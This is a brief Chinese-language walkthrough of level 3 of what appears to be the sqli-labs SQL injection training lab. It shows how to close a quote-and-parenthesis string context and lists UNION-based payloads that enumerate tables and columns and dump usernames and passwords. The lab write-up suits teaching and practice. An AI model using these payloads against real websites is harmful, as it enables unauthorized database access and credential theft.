SQL注入漏洞解析--less-3

1.首先我们打开第三关看一下

2.这个和之前1.2关提示都是一样，所以我们先输入id数字看一下显示什么

3.这里正常回显，当我们后边加上'时可以看到页面报错信息。可推断sql语句是单引号字符型且有括号，所以我们需要闭合单引号且也要考虑括号。

4.当我们知道报错信息后，就可以针对报错信息进行注入

?id=1')--+

5.这样我们就将括号和单引号给绕过，成功绕过之后我们就能正常操作了

1. ?id=2')--+
2. ?id=1') order by 3--+
3. ?id=-1') union select 1,2,3--+
4. ?id=-1') union select 1,database(),version()--+
5. ?id=-1') union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security'--+
6. ?id=-1') union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users'--+
7. ?id=-1') union select 1,2,group_concat(username ,id , password) from users--+

6.后边的操作就是和之前两关的操作一样